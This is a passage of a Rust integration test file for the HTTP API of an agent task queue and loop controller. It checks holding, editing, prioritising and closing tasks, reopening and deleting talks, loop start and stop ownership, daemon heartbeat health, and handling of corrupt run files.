6923 assert_eq!(reopened.status, 200, "{}", reopened.body);
6924 assert_eq!(reopened.json()["status"], "open");
6925
6926 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6928 assert_eq!(reopened_again.status, 200);
6929 assert_eq!(reopened_again.json()["status"], "open");
6930
6931 let said = f
6932 .post(
6933 &format!("/api/talks/{id}/say"),
6934 Some(r#"{"text":"still there?"}"#),
6935 )
6936 .await;
6937 assert_eq!(
6938 said.status, 202,
6939 "a reopened talk accepts turns again: {}",
6940 said.body
6941 );
6942 }
6943
6944 #[tokio::test]
6945 async fn talk_reopen_on_an_unknown_id_is_404() {
6946 let f = Fixture::start().await;
6947 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6948 assert_eq!(res.status, 404, "{}", res.body);
6949 }
6950
6951 #[tokio::test]
6952 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6953 let f = Fixture::start().await;
6954 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6955
6956 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6957 assert_eq!(deleted.status, 204, "{}", deleted.body);
6958
6959 let after = f.get(&format!("/api/talks/{id}")).await;
6960 assert_eq!(after.status, 404, "{}", after.body);
6961
6962 let listed = f.get("/api/talks").await.json();
6963 assert!(
6964 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6965 "a deleted talk must not linger in the list: {listed}"
6966 );
6967 }
6968
6969 #[tokio::test]
6970 async fn talk_delete_on_an_unknown_id_is_404() {
6971 let f = Fixture::start().await;
6972 let res = f.delete("/api/talks/nonexistent-id").await;
6973 assert_eq!(res.status, 404, "{}", res.body);
6974 }
6975
6976 #[tokio::test]
6977 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6978 let f = Fixture::start().await;
6979 let queue = f.queue();
6980 let mut task = Task::new(
6981 "spent".to_owned(),
6982 "Try again".to_owned(),
6983 PathBuf::from("/repo/magi"),
6984 Source::Human,
6985 );
6986 task.start("20260902-140502-bbbb".to_owned());
6987 task.fail("agent gave up", 9);
6988 queue.put(&mut task).expect("file the task");
6989
6990 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6991 assert_eq!(held.status, 200);
6992 assert_eq!(held.json()["status_str"], "held");
6993
6994 let released = f
6995 .post(&format!("/api/queue/{}/release", task.id), None)
6996 .await;
6997 assert_eq!(released.status, 200);
6998 assert_eq!(released.json()["status_str"], "queued");
6999 assert_eq!(
7000 released.json()["attempts"],
7001 0,
7002 "release is a real second chance, not an instant re-hold"
7003 );
7004 assert_eq!(
7005 queue.get(&task.id).expect("reload").status,
7006 TaskStatus::Queued,
7007 "the change is on disk, not only in the reply"
7008 );
7009 assert!(
7010 !f.home
7011 .path()
7012 .join("queue")
7013 .join(format!("{}.lock", task.id))
7014 .exists(),
7015 "the claim the mutation took is released again"
7016 );
7017 }
7018
7019 #[tokio::test]
7020 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
7021 let f = Fixture::start().await;
7022 let queue = f.queue();
7023 let mut task = Task::new(
7024 "busy".to_owned(),
7025 "Running right now".to_owned(),
7026 PathBuf::from("/repo/magi"),
7027 Source::Human,
7028 );
7029 queue.put(&mut task).expect("file the task");
7030 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7031
7032 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
7033
7034 assert_eq!(res.status, 409);
7035 assert_eq!(
7036 queue.get(&task.id).expect("reload").status,
7037 TaskStatus::Queued,
7038 "the refused hold changed nothing"
7039 );
7040 }
7041
7042 #[tokio::test]
7043 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
7044 let f = Fixture::start().await;
7045 let queue = f.queue();
7046 let mut task = Task::new(
7047 "waiting on the migration".to_owned(),
7048 "Do the thing".to_owned(),
7049 PathBuf::from("/repo/magi"),
7050 Source::Human,
7051 );
7052 queue.put(&mut task).expect("file the task");
7053
7054 let held = f
7055 .post(
7056 &format!("/api/queue/{}/hold", task.id),
7057 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
7058 )
7059 .await;
7060 assert_eq!(held.status, 200, "{}", held.body);
7061 assert_eq!(held.json()["status_str"], "held");
7062 assert_eq!(
7063 held.json()["hold_reason"],
7064 "waiting for 20260101-000000-aaaa to land"
7065 );
7066
7067 let listed = f.get("/api/queue").await.json();
7068 assert_eq!(
7069 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
7070 "the card reads the reason off the same list route"
7071 );
7072
7073 let mut plain = Task::new(
7076 "no reason given".to_owned(),
7077 "Do another thing".to_owned(),
7078 PathBuf::from("/repo/magi"),
7079 Source::Human,
7080 );
7081 queue.put(&mut plain).expect("file the task");
7082 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
7083 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
7084 assert!(held_plain.json()["hold_reason"].is_null());
7085
7086 let released = f
7087 .post(&format!("/api/queue/{}/release", task.id), None)
7088 .await;
7089 assert_eq!(released.status, 200);
7090 assert!(
7091 released.json()["hold_reason"].is_null(),
7092 "a release must clear the reason so the next hold does not inherit it"
7093 );
7094 }
7095
7096 #[tokio::test]
7097 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
7098 let f = Fixture::start().await;
7099 let queue = f.queue();
7100 let mut older = Task::new(
7101 "filed first".to_owned(),
7102 "x".to_owned(),
7103 PathBuf::from("/repo/magi"),
7104 Source::Human,
7105 );
7106 older.id = "20260101-000001-aaaa".to_owned();
7107 let mut newer = Task::new(
7108 "filed second".to_owned(),
7109 "x".to_owned(),
7110 PathBuf::from("/repo/magi"),
7111 Source::Human,
7112 );
7113 newer.id = "20260101-000002-bbbb".to_owned();
7114 queue.put(&mut older).expect("file older");
7115 queue.put(&mut newer).expect("file newer");
7116
7117 let before = f.get("/api/queue").await.json();
7120 assert_eq!(before[0]["id"], newer.id);
7121 assert_eq!(before[1]["id"], older.id);
7122
7123 let raised = f
7127 .post(
7128 &format!("/api/queue/{}/priority", older.id),
7129 Some(r#"{"priority":10}"#),
7130 )
7131 .await;
7132 assert_eq!(raised.status, 200, "{}", raised.body);
7133 assert_eq!(raised.json()["priority"], 10);
7134
7135 let after = f.get("/api/queue").await.json();
7136 let names: Vec<&str> = after
7137 .as_array()
7138 .unwrap()
7139 .iter()
7140 .map(|t| t["id"].as_str().unwrap())
7141 .collect();
7142 assert_eq!(names[0], older.id, "the raised task now sorts first");
7146 }
7147
7148 #[tokio::test]
7149 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
7150 let f = Fixture::start().await;
7151 let queue = f.queue();
7152 let mut task = Task::new(
7153 "in flight".to_owned(),
7154 "x".to_owned(),
7155 PathBuf::from("/repo/magi"),
7156 Source::Human,
7157 );
7158 task.start("20260902-140502-bbbb".to_owned());
7159 queue.put(&mut task).expect("file the task");
7160
7161 let res = f
7162 .post(
7163 &format!("/api/queue/{}/priority", task.id),
7164 Some(r#"{"priority":9}"#),
7165 )
7166 .await;
7167 assert_eq!(res.status, 400, "{}", res.body);
7168 assert!(
7169 res.json()["error"]
7170 .as_str()
7171 .is_some_and(|e| e.contains("running")),
7172 "{}",
7173 res.body
7174 );
7175 assert_eq!(
7176 queue.get(&task.id).expect("reload").priority,
7177 0,
7178 "the refused write must not partially apply"
7179 );
7180 }
7181
7182 #[tokio::test]
7183 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
7184 let f = Fixture::start().await;
7185 let queue = f.queue();
7186 let mut task = Task::new(
7187 "old title".to_owned(),
7188 "old instruction".to_owned(),
7189 PathBuf::from("/repo/magi"),
7190 Source::Agent {
7191 run: "20260101-000000-beef".to_owned(),
7192 node: "implement".to_owned(),
7193 },
7194 );
7195 task.runs.push("20260101-000000-beef".to_owned());
7196 queue.put(&mut task).expect("file the task");
7197 let created_at = task.created_at;
7198
7199 let edited = f
7200 .post(
7201 &format!("/api/queue/{}/edit", task.id),
7202 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
7203 )
7204 .await;
7205 assert_eq!(edited.status, 200, "{}", edited.body);
7206 let body = edited.json();
7207 assert_eq!(body["title"], "new title");
7208 assert_eq!(body["instruction"], "new instruction");
7209 assert_eq!(body["id"], task.id, "editing must not mint a new id");
7210 assert_eq!(body["created_at"], created_at.to_string());
7211 assert_eq!(
7212 body["source"]["kind"], "agent",
7213 "editing a task an agent filed must not turn it human: {body}"
7214 );
7215 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
7216
7217 let reloaded = queue.get(&task.id).expect("reload");
7218 assert_eq!(reloaded.title, "new title");
7219 assert_eq!(reloaded.instruction, "new instruction");
7220 }
7221
7222 #[tokio::test]
7223 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
7224 let f = Fixture::start().await;
7225 let queue = f.queue();
7226 let mut owner = Task::new(
7227 "owner".to_owned(),
7228 "review it".to_owned(),
7229 PathBuf::from("/repo/magi"),
7230 Source::Human,
7231 );
7232 owner.review_branch = Some("magi/ab12/A".to_owned());
7233 queue.put(&mut owner).expect("file the owner");
7234 let mut task = Task::new(
7235 "draft".to_owned(),
7236 "old".to_owned(),
7237 PathBuf::from("/repo/magi"),
7238 Source::Human,
7239 );
7240 queue.put(&mut task).expect("file the draft");
7241 let url = format!("/api/queue/{}/edit", task.id);
7242
7243 let refused = f
7244 .post(
7245 &url,
7246 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
7247 )
7248 .await;
7249 assert_eq!(refused.status, 409, "{}", refused.body);
7250 let msg = refused.json()["error"]
7251 .as_str()
7252 .unwrap_or_default()
7253 .to_owned();
7254 assert!(
7255 msg.contains("magi/ab12/A") && msg.contains("force"),
7256 "{msg}"
7257 );
7258 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
7259
7260 let forced = f
7261 .post(
7262 &url,
7263 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
7264 )
7265 .await;
7266 assert_eq!(forced.status, 200, "{}", forced.body);
7267 }
7268
7269 #[tokio::test]
7270 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
7271 let f = Fixture::start().await;
7272 let queue = f.queue();
7273 let mut task = Task::new(
7274 "in flight".to_owned(),
7275 "do not touch".to_owned(),
7276 PathBuf::from("/repo/magi"),
7277 Source::Human,
7278 );
7279 task.start("20260902-140502-bbbb".to_owned());
7280 queue.put(&mut task).expect("file the task");
7281
7282 let res = f
7283 .post(
7284 &format!("/api/queue/{}/edit", task.id),
7285 Some(r#"{"title":"x","instruction":"y"}"#),
7286 )
7287 .await;
7288 assert_eq!(res.status, 400, "{}", res.body);
7289 assert!(
7290 res.json()["error"]
7291 .as_str()
7292 .is_some_and(|e| e.contains("running")),
7293 "{}",
7294 res.body
7295 );
7296 assert_eq!(
7297 queue.get(&task.id).expect("reload").instruction,
7298 "do not touch",
7299 "the refused edit must not change the file"
7300 );
7301 }
7302
7303 #[tokio::test]
7304 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
7305 let f = Fixture::start().await;
7306 let queue = f.queue();
7307 let mut task = Task::new(
7308 "busy".to_owned(),
7309 "Running right now".to_owned(),
7310 PathBuf::from("/repo/magi"),
7311 Source::Human,
7312 );
7313 queue.put(&mut task).expect("file the task");
7314 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
7315
7316 let priority = f
7317 .post(
7318 &format!("/api/queue/{}/priority", task.id),
7319 Some(r#"{"priority":9}"#),
7320 )
7321 .await;
7322 assert_eq!(priority.status, 409, "{}", priority.body);
7323
7324 let edit = f
7325 .post(
7326 &format!("/api/queue/{}/edit", task.id),
7327 Some(r#"{"title":"x","instruction":"y"}"#),
7328 )
7329 .await;
7330 assert_eq!(edit.status, 409, "{}", edit.body);
7331 }
7332
7333 #[tokio::test]
7334 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
7335 let f = Fixture::start().await;
7336 let queue = f.queue();
7337 let mut task = Task::new(
7338 "shipped by hand".to_owned(),
7339 "merged outside the loop".to_owned(),
7340 PathBuf::from("/repo/magi"),
7341 Source::Agent {
7342 run: "20260101-000000-b455".to_owned(),
7343 node: "implement".to_owned(),
7344 },
7345 );
7346 task.runs.push("20260101-000000-b455".to_owned());
7347 task.runs.push("20260101-000000-9af4".to_owned());
7348 queue.put(&mut task).expect("file the task");
7349 let created_at = task.created_at;
7350
7351 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7352 assert_eq!(done.status, 200, "{}", done.body);
7353 assert_eq!(done.json()["status_str"], "done");
7354
7355 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
7356 assert_eq!(
7357 reloaded.runs,
7358 ["20260101-000000-b455", "20260101-000000-9af4"]
7359 );
7360 assert_eq!(
7361 reloaded.source,
7362 Source::Agent {
7363 run: "20260101-000000-b455".to_owned(),
7364 node: "implement".to_owned(),
7365 }
7366 );
7367 assert_eq!(reloaded.created_at, created_at);
7368 }
7369
7370 #[tokio::test]
7371 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
7372 let f = Fixture::start().await;
7377 let queue = f.queue();
7378 let mut task = Task::new(
7379 "landed while held".to_owned(),
7380 "x".to_owned(),
7381 PathBuf::from("/repo/magi"),
7382 Source::Human,
7383 );
7384 task.hold_manual(Some("waiting on 3ed9".to_owned()));
7385 queue.put(&mut task).expect("file the held task");
7386
7387 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7388 assert_eq!(done.status, 200, "{}", done.body);
7389 assert_eq!(done.json()["status_str"], "done");
7390 assert!(
7391 done.json()["hold_reason"].is_null(),
7392 "a done task cannot still be waiting on something: {}",
7393 done.body
7394 );
7395 }
7396
7397 #[tokio::test]
7398 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
7399 let f = Fixture::start().await;
7404 let queue = f.queue();
7405 let runs = f.runs();
7406 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
7407 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
7411
7412 let mut task = Task::new(
7413 "landed by hand".to_owned(),
7414 "x".to_owned(),
7415 PathBuf::from("/repo/magi"),
7416 Source::Human,
7417 );
7418 task.runs.push("20260101-000000-doa1".to_owned());
7419 task.runs.push("20260101-000000-doa2".to_owned());
7420 queue.put(&mut task).expect("file the task");
7421
7422 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7423 assert_eq!(done.status, 200, "{}", done.body);
7424
7425 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
7426 .expect("run still on disk under this fixture's own home");
7427 assert_eq!(
7428 reloaded_run.status,
7429 RunStatus::Superseded,
7430 "closing the task by hand must relabel the earlier blocked attempt exactly \
7431 like the loop's own settle path does"
7432 );
7433 }
7434
7435 #[tokio::test]
7436 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
7437 let f = Fixture::start().await;
7442 let queue = f.queue();
7443 let runs = f.runs();
7444 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
7445 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
7446
7447 let mut task = Task::new(
7448 "closed with nothing actually landed".to_owned(),
7449 "x".to_owned(),
7450 PathBuf::from("/repo/magi"),
7451 Source::Human,
7452 );
7453 task.runs.push("20260101-000000-dob1".to_owned());
7454 task.runs.push("20260101-000000-dob2".to_owned());
7455 queue.put(&mut task).expect("file the task");
7456
7457 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
7458 assert_eq!(done.status, 200, "{}", done.body);
7459
7460 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
7461 .expect("run still on disk under this fixture's own home");
7462 assert_eq!(
7463 reloaded_run.status,
7464 RunStatus::Blocked,
7465 "the last recorded attempt never landed, so the earlier one must not be \
7466 relabelled as superseded by it"
7467 );
7468 }
7469
7470 #[tokio::test]
7471 async fn unknown_ids_are_json_not_found_on_both_stores() {
7472 let f = Fixture::start().await;
7473
7474 let run = f.get("/api/runs/nosuchrun").await;
7475 let task = f.post("/api/queue/nosuchtask/hold", None).await;
7476
7477 assert_eq!(run.status, 404);
7478 assert_eq!(task.status, 404);
7479 assert!(
7480 run.json()["error"]
7481 .as_str()
7482 .is_some_and(|e| e.contains("run")),
7483 "the error names what was not found: {}",
7484 run.body
7485 );
7486 assert!(
7487 task.json()["error"]
7488 .as_str()
7489 .is_some_and(|e| e.contains("task")),
7490 "the error names what was not found: {}",
7491 task.body
7492 );
7493 }
7494
7495 #[tokio::test]
7496 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
7497 let f = Fixture::start().await;
7498
7499 let missing = f.get("/api/health").await.json();
7500 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
7501
7502 write_daemon(
7503 f.home.path(),
7504 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7505 );
7506 let stale = f.get("/api/health").await.json();
7507 assert_eq!(
7508 stale["daemon"]["running"], false,
7509 "a minute without a heartbeat is a dead daemon, not a busy one"
7510 );
7511 assert!(
7512 stale["daemon"]["stale_for_secs"]
7513 .as_i64()
7514 .is_some_and(|s| s >= 55),
7515 "staleness is reported so the UI can say how long: {stale}"
7516 );
7517
7518 write_daemon(f.home.path(), Timestamp::now());
7519 let fresh = f.get("/api/health").await.json();
7520 assert_eq!(fresh["daemon"]["running"], true);
7521 assert_eq!(fresh["daemon"]["idle"], false);
7522 assert_eq!(fresh["daemon"]["pid"], 4242);
7523 assert_eq!(fresh["daemon"]["completed"], 7);
7524 assert_eq!(
7525 fresh["daemon"]["current"][0]["task"],
7526 "20260902-140501-aaaa"
7527 );
7528 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
7529 }
7530
7531 #[tokio::test]
7532 async fn the_loop_is_not_running_until_something_starts_it() {
7533 let f = Fixture::start().await;
7534
7535 let view = f.get("/api/loop").await.json();
7536 assert_eq!(view["running"], false);
7537 assert_eq!(
7538 view["owned"], false,
7539 "nobody owns a loop that does not exist: {view}"
7540 );
7541 assert_eq!(view["stopping"], false);
7542 assert_eq!(view["last_error"], Value::Null);
7543 assert_eq!(view["daemon"]["running"], false);
7544 assert_eq!(
7545 view["repo"], "/repo/magi",
7546 "the repository a start would use, named before it is started"
7547 );
7548 }
7549
7550 #[tokio::test]
7551 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
7552 let f = Fixture::start().await;
7553
7554 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7555 assert_eq!(res.status, 200, "{}", res.body);
7556 let view = res.json();
7557 assert_eq!(view["running"], true);
7558 assert_eq!(
7559 view["owned"], true,
7560 "the loop the UI started is the UI's own to stop: {view}"
7561 );
7562 assert_eq!(
7563 view["merge"],
7564 Value::Null,
7565 "no override was given, so each repository's own config decides"
7566 );
7567
7568 let health = f.get("/api/health").await.json();
7572 assert_eq!(health["loop"]["running"], true, "{health}");
7573 assert_eq!(health["loop"]["owned"], true, "{health}");
7574
7575 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7576 }
7577
7578 #[tokio::test]
7579 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
7580 let f = Fixture::start().await;
7581 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7582 assert_eq!(first.status, 200, "{}", first.body);
7583
7584 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7585 assert_eq!(
7586 again.status, 409,
7587 "two loops on one queue race for the same claims: {}",
7588 again.body
7589 );
7590 assert!(
7591 again.json()["error"]
7592 .as_str()
7593 .is_some_and(|e| e.contains("already running the loop")),
7594 "the refusal has to say why: {}",
7595 again.body
7596 );
7597 assert_eq!(
7598 f.get("/api/loop").await.json()["running"],
7599 true,
7600 "and the loop that was already running is untouched by it"
7601 );
7602
7603 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7604 }
7605
7606 #[tokio::test]
7607 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7608 let f = Fixture::start().await;
7609 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7610
7611 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7612 assert_eq!(
7613 res.status, 200,
7614 "the answer must not wait for the loop: a run in flight is tens of \
7615 minutes and the operator is holding a phone: {}",
7616 res.body
7617 );
7618
7619 let view = settled(&f, |v| v["running"] == false).await;
7620 assert_eq!(view["owned"], false);
7621 assert_eq!(
7622 view["stopping"], false,
7623 "a loop that has stopped is not still stopping: {view}"
7624 );
7625 assert_eq!(
7626 view["last_error"],
7627 Value::Null,
7628 "a loop that was asked to stop did not fail: {view}"
7629 );
7630
7631 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7634 assert_eq!(twice.status, 200, "{}", twice.body);
7635 }
7636
7637 #[tokio::test]
7638 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
7639 let f = Fixture::start().await;
7640 write_daemon(f.home.path(), Timestamp::now());
7643
7644 let view = f.get("/api/loop").await.json();
7645 assert_eq!(view["running"], false, "not in this process: {view}");
7646 assert_eq!(view["owned"], false, "and not this process's to control");
7647 assert_eq!(
7648 view["daemon"]["running"], true,
7649 "but a loop is alive somewhere, which is what the UI must say"
7650 );
7651 assert_eq!(view["daemon"]["pid"], 4242);
7652
7653 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
7654 let res = f.post("/api/loop", Some(body)).await;
7655 assert_eq!(
7656 res.status, 409,
7657 "neither button may pretend to work on someone else's loop: {}",
7658 res.body
7659 );
7660 assert!(
7661 res.json()["error"]
7662 .as_str()
7663 .is_some_and(|e| e.contains("4242")),
7664 "the refusal has to name the process the operator must go to: {}",
7665 res.body
7666 );
7667 }
7668 assert_eq!(
7669 f.get("/api/loop").await.json()["running"],
7670 false,
7671 "and the refusal started nothing"
7672 );
7673 }
7674
7675 #[tokio::test]
7676 async fn a_stale_status_file_is_not_a_foreign_owner() {
7677 let f = Fixture::start().await;
7678 write_daemon(
7679 f.home.path(),
7680 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7681 );
7682
7683 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7684 assert_eq!(
7685 res.status, 200,
7686 "a daemon killed a minute ago must not lock the loop out of its \
7687 own home for good: {}",
7688 res.body
7689 );
7690 assert_eq!(res.json()["running"], true);
7691
7692 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7693 }
7694
7695 #[tokio::test]
7696 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7697 let f = Fixture::start().await;
7698 let before = f.get("/api/health").await.json()["loop_rev"]
7699 .as_u64()
7700 .expect("a loop revision");
7701
7702 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7703
7704 let after = f.get("/api/health").await.json()["loop_rev"]
7705 .as_u64()
7706 .expect("a loop revision");
7707 assert!(
7708 after > before,
7709 "the loop is in-process state, so this counter is the only thing \
7710 that tells a second device the first one started it: {before} -> \
7711 {after}"
7712 );
7713
7714 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7715 }
7716
7717 #[tokio::test]
7718 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7719 let f = Fixture::with_loop(launch_broken).await;
7720
7721 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7722 assert_eq!(
7723 res.status, 200,
7724 "starting it is not the failure: {}",
7725 res.body
7726 );
7727
7728 let view = settled(&f, |v| v["last_error"].is_string()).await;
7729 assert_eq!(
7730 view["running"], false,
7731 "a loop that died must not read as running, or the operator has \
7732 nothing to press: {view}"
7733 );
7734 assert_eq!(view["owned"], false);
7735 assert!(
7736 view["last_error"]
7737 .as_str()
7738 .is_some_and(|e| e.contains("read-only file system")),
7739 "the phone is where a loop that died at 3am is visible: {view}"
7740 );
7741
7742 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7745 assert_eq!(again.status, 200, "{}", again.body);
7746 assert_eq!(
7747 again.json()["last_error"],
7748 Value::Null,
7749 "a fresh start does not keep showing why the last one died"
7750 );
7751 }
7752
7753 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
7765 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7766 let home = TempDir::new().expect("temp home");
7767 let runs = home.path().join("runs");
7768 std::fs::create_dir_all(&runs).expect("runs dir");
7769 let ui = Ui::new(
7770 Queue::at(home.path().join("queue")),
7771 Questions::at(home.path().join("questions")),
7772 Talks::at(home.path().join("talks")),
7773 runs,
7774 home.path().to_path_buf(),
7775 PathBuf::from("/repo/magi"),
7776 )
7777 .with_worktrees_root(home.path().join("wt"))
7778 .with_launch(launch_knocking_on_the_way_out);
7779 let looping = ui.looping();
7780 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7781 .await
7782 .expect("bind loopback");
7783 let addr = listener.local_addr().expect("local addr");
7784 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7785 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7786
7787 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7788 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7789
7790 let bound = std::sync::Mutex::new(None);
7805 hand_over(home.path(), &looping, served, |_| {
7806 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
7807 let attempt = loop {
7808 match std::net::TcpListener::bind(addr) {
7809 Ok(l) => {
7810 drop(l);
7811 break Ok(());
7812 }
7813 Err(e)
7814 if e.kind() == std::io::ErrorKind::AddrInUse
7815 && std::time::Instant::now() < deadline =>
7816 {
7817 std::thread::sleep(std::time::Duration::from_millis(10));
7818 }
7819 Err(e) => break Err(e.to_string()),
7820 }
7821 };
7822 *bound.lock().expect("bound") = Some(attempt);
7823 Ok(())
7824 })
7825 .await
7826 .expect("hand over");
7827
7828 assert_eq!(
7829 *PARK_HEARD.lock().expect("park heard"),
7830 Some(200),
7831 "the deck must answer while the loop is parking"
7832 );
7833 let attempt = bound
7834 .lock()
7835 .expect("bound")
7836 .take()
7837 .expect("the successor was started");
7838 assert!(
7839 attempt.is_ok(),
7840 "and the address must be free by the time it is: {attempt:?}"
7841 );
7842 }
7843
7844 #[tokio::test]
7845 async fn a_newer_daemon_status_file_still_renders() {
7846 let f = Fixture::start().await;
7847 std::fs::write(
7850 f.home.path().join("daemon.json"),
7851 serde_json::json!({
7852 "schema": 2,
7853 "updated_at": Timestamp::now().to_string(),
7854 "idle": true,
7855 "surprise": { "nested": [1, 2, 3] },
7856 })
7857 .to_string(),
7858 )
7859 .expect("write daemon.json");
7860
7861 let health = f.get("/api/health").await;
7862
7863 assert_eq!(health.status, 200);
7864 assert_eq!(health.json()["daemon"]["running"], true);
7865 }
7866
7867 #[tokio::test]
7868 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7869 let f = Fixture::start().await;
7870 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7871 let broken = f.runs().join("20260902-140502-bad");
7872 std::fs::create_dir_all(&broken).expect("run dir");
7873 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7874
7875 let list = f.get("/api/runs").await;
7876 let detail = f.get("/api/runs/20260902-140502-bad").await;
7877
7878 assert_eq!(list.status, 200);
7879 let listed = list.json();
7880 let ids: Vec<&str> = listed
7881 .as_array()
7882 .expect("an array")
7883 .iter()
7884 .map(|r| r["id"].as_str().expect("an id"))
7885 .collect();
7886 assert_eq!(
7887 ids,
7888 vec!["20260902-140501-good"],
7889 "one unreadable run must not cost the operator the whole history"
7890 );
7891 assert_eq!(detail.status, 500);
7892 assert!(
7893 detail.json()["error"]
7894 .as_str()
7895 .is_some_and(|e| e.contains("run.json")),
7896 "the failure names the file to look at: {}",
7897 detail.body
7898 );
7899 let health = f.get("/api/health").await;
7903 assert_eq!(health.json()["runs_unreadable"], 1);
7904 }
7905
7906 #[tokio::test]
7911 async fn stats_runs_unreadable_matches_health() {
7912 let f = Fixture::start().await;
7913 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7914 let broken = f.runs().join("20260902-140502-bad");
7915 std::fs::create_dir_all(&broken).expect("run dir");
7916 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7917
7918 let stats = f.get("/api/stats").await;
7919 let health = f.get("/api/health").await;
7920
7921 assert_eq!(stats.status, 200);
7922 assert_eq!(stats.json()["totals"]["runs"], 1);
7923 assert_eq!(stats.json()["runs_unreadable"], 1);
7924 assert_eq!(
7925 stats.json()["runs_unreadable"],
7926 health.json()["runs_unreadable"],
7927 "the dashboard and /api/health must never disagree about how many \
7928 runs could not be read"
7929 );
7930 }
7931
7932 #[tokio::test]
7933 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7934 let f = Fixture::start().await;
7935 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7936 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7937 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7938
7939 let totals = &f.get("/api/stats").await.json()["totals"];
7940 assert_eq!(totals["runs"], 3);
7941 assert_eq!(totals["merged"], 1);
7942 assert_eq!(totals["stalled"], 1);
7943 assert_eq!(totals["in_progress"], 1);
7944 assert_eq!(totals["blocked"], 0);
7947 assert_eq!(totals["ready"], 0);
7948 }
7949
7950 #[tokio::test]
7951 async fn stats_advisors_report_proposals_and_reflection() {
7952 use crate::advise::{Advice, AdvisorRecord, Reflection};
7953 use crate::verdict::Proposal;
7954
7955 let f = Fixture::start().await;
7956 let mut state = RunState::new(
7957 PathBuf::from("/repo/magi"),
7958 "main".to_owned(),
7959 "0123456789abcdef".to_owned(),
7960 "task".to_owned(),
7961 Config::default(),
7962 );
